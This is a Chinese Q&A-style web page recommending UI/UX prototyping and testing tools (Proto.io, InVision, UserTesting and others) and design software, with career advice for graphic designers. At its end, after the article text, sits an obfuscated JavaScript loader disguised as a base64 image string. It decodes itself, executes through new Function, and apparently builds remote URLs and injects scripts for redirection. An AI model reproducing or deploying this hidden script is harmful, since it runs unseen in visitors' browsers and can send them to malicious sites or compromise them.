推荐回答(5个)
如今的设计师有很多机会可以接触到不同领域的设计。于是,在各种平面设计和网页设计之间流转的设计师们,逐渐进入了UI和UX设计领域。UI和UX与其他的创意工作,如logo设计,2D/3D动画,信息图形,动画等等略有不同。UI设计是一个制作前端页面以实现人机交互的过程。而UX设计则包括研究人机交互的各个方面,如可用性,功能性,交互设计,信息架构设计等等。
设计师们常常使用各种各样的工具和资源以达到他们的设计目的。市面上也有许多测试,原型,仿真和其他的工具可供UI和UX设计师使用。以下为笔者总结的一些可以帮助设计师们开展工作的线上工具和资源。
1)Proto.io

Proto.io是一款应用开发的原型工具。里面包含了大量的UI库和交互UI的组件。这个工具同时也提供调整颜色,滤镜,多文件上传等功能。Proto.io可与DropBox保持同步,使团队间的协作变得更加实时和便捷。
2)Pidoco

Pidoco是一款针对web,移动端和企业应用开发的原型软件。该软件提供基于云服务的平台,用于制作线框图,移动仿真,实物模型和U原型。Pidoco内部包含了许多模板,可以实现快速制作原型,同时也提供了实时协作功能。
有了Pidoco,你就可以设计交互原型的同时在IOS和安卓设备上实时运行了。
3)InVision
InVision一款强大的转换工具,它可以根据功能,比如动画,手势,特效等,将静态的设计转换成交互原型。该工具同样提供了基于云服务的平台,可以实时协作正在制作的移动端原型或企业应用原型。invison也支持设计Apple
Watch和Android Wear的原型。
4)UserTesting

UserTesting是一款用于测试网站、应用、原型和其他台式机、平板电脑和移动设备的工具。 UserTesting就是一个用户研究平台,可以让你的目标用户来测试你的网站或APP。最后通过视频,指标和统计数据等等来向你提供有价值的目标用户的反馈。
唔,好工具,可惜要收费。
5)PowerMockup

PowerMockup是一款PowerPoint用户专用的模型和线框图工具。应用提供了PowerPoint中缺少的UI设计组件。这些元素可用于在PowerPoint中创作多种移动设备、web和桌面应用的原型。PowerMockup也提供了强大的协作和分享功能。
6)PickFu
PickFu是一个调查平台,可以帮助设计和市场人员找到解决方案。这也是一个接收建议、评论和反馈的工具,在这里,你可以收到来自美国用户的关于logo设计、封面设计和UI设计等等的建议,评论和反馈。
7)Myna

Myna是一款优秀的A/B测试或对比测试工具,被图形设计师和Web开发人员们广泛使用。这个工具对单个访问者执行测试并给提供产品各个版本的细致反馈。可用于网页设计,Email设计,广告和UI设计等等。
8)Ace UI

Ace UI是一款IOS8专用的移动应用UI工具。它提供了大量的字体,PSD模板和其他的UI元素。此外,它也提供了线框图和原型工具包,可以帮助提升APP开发效率。
9)Form
Form是一款强大的原型工具,支持在设备上构建和定制本地原型。它还提供了最新的MD部件,还可以创建自定义部件。
10)MouseStats

MouseStats是一款流行的UX分析工具,提供了多种监测用户在网站上交互的功能。这个工具提供了许多服务,像视频记录浏览器会话、滚动热图、统计数据和调查等等。
11)POP
POP或者Prototyping On Paper是一款相当酷的应用,它可以把手绘的操作和模型转换成交互原型。该应用可在多平台多种设备下工作,同时也整合了DropBox可以实现实时协同。
12)Gliffy

Gliffy是一款支持在线协作的专业设计应用。这个工具支持设计专业流程图, 技术图纸,线框图,流程图,网络图和站点图等等。
13)Antetype

Antetype是一款用于制作UI原型的软件应用。这个应用400余个预设计的主流平台的组件。它也提供了动态布局,响应设计功能,属性绑定,断点,演讲模式,内嵌,注释等等功能。
14)Wirify

Wirify是一款非常出色的UX工具,它可以一键将多个网页转换成线框图。这个工具可以让你检查页面结构和网页布局。而且,还支持编辑线框图并把他们导出到其他群的设计应用中,比如Baslsamiq或者Omnigraffle。
15)Naview

Naview是一款强大的工具,可以用来设计导航原型和测试导航原型可用性。使用Naview,你可以预览信息架构和网站地图。此外,这个工具还可以用来设计下拉式菜单甚至可以直接在浏览器中编辑导航结构。
总结:
一般来说,在web界,有三种图形用户界面。分别是工具型用户界面,桌面型用户界面和过程型用户界面。随着计算机技术在各个方面的应用,UI和UX设计范围变得越来越显著。我们可以期待未来即将出现的可以辅助UI和UX设计的工具。
当下的UI和UX工具都有许多内置的功能,可以很大程度地辅助设计师的工作。就UI和UX设计而言,这些工具也在提高视觉和功能方面带来了许多创新的成果。
要成为一名UI设计师,就需要掌握很多设计软件。在UI设计工作中,常用的设计软件有哪些呢?主要有以下几种
1.PS、AI:主要来用做图标设计、字体设计、插画设计等界面中的视觉设计,是非常基础常用的的软件。
2.AE:在UI设计中主要负责交互动效设计、实现交互效果,比如我们手机常用的解锁动作其实就是一个简单的动效。
3.ARP、磨刀:常用的交互软件,在UI设计中负责做交互原型图,一般可以二选一学习。
4.XD 或者sketch:这两款软件在UI设计工作中主要用来做图面设计、图标设计、原型设计,软件功能差不多,XD的工具特别少,里面的工具是专门为做UI设计工作开发的一款软件,而且XD软件特别小,不会卡,所以作图会比较快。
5.蓝湖软件:是一款产品文档和设计图的共享平台,主要帮助互联网团队更好地管理文档和设计图,在UI设计工作中一般用来做标注设计和切图。
一个好的交互设计对产品的成功起着很关键的作用。UI所做的就是用户最先接触到的东西,也是一般性的用户唯一接触到的东西。用户对于界面视觉效果和软件操作方式的易用性的关心,要远远大于他对底层到底用什么样的代码去实现的关心。但是大部分公司对UI设计岗位的要求也有很大的共性;一般包括三个方面,一是,会做图,需要用到的工具是PS、AI、sketch等;二是,懂代码前端知识,html、css、javascript、JQ框架等;三是,会原型工具,Axure、Visio(流程图工具,微软)、xmind(思维导图工具,收费)、mindjet(MindManager思维导图工具)等等;
要搞平面设计,photoshop、Coreldraw、Illustraor、indesign这四个软件都是应该熟练掌握的,广告公司常用的Photoshop、Illustrator、CorelDraw等设计软件。
1. 标志设计(logo设计,商标设计)
2. CIS设计、VI设计(企业形象 识别系统设计)
3. 广告设计、广告创意设计
4. 海报设计、 DM 设计(宣传单设计)
5. 样本设计、宣传手册设计、画册设计
6. 楼书设计、年报设计
7. 包装设计
8. 书籍插画绘制、贺卡设计、请柬设计
9. 报纸、杂志排版设计
10. 各类印刷品设计等等。
平面设计就业岗位包括创意总监、设计总监、平面设计师、平面设计助理、美编、美工(大型超市酒店为主)、UI界面设计师、图案设计师、平面设计修图师等
平面设计师就业范围:
1、就业单位:可以从事广告公司、企划公司、图文设计公司、出版行业、企业宣传策划部门及其他需求平面设计师领域的相关平面设计工作。2、就业情况:工资待遇高主要集中在经济较发达的地区及城市(如上海、深圳、广州、东莞、珠海等),普通中小型城市的工作岗位也很多,人才紧缺。
适合学平面设计的人群:
1、无需较高学历;
2、有一定有审美能力,良好个性修养和潜能;
3、需要一定的想象力和创造力,能够独立完成设计构思及成稿;
4、熟练掌握设计类软件,比如:PhotoShop、CorelDraw、、illustrate、InDesign;;
5、具有高度的责任心和团队合作精神;
7、具有挑战精神,能在压力下工作;
8、热爱广告事业。(当然,不是8项都得具备,关键是有兴趣学习,兴趣是最好的老师。)
软件是最基本的设计,UI设计工具如插画、PS、AI、AE等,还有原型图形软件,比如arp。另外,你还需要学习C4D、DWD等软件。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();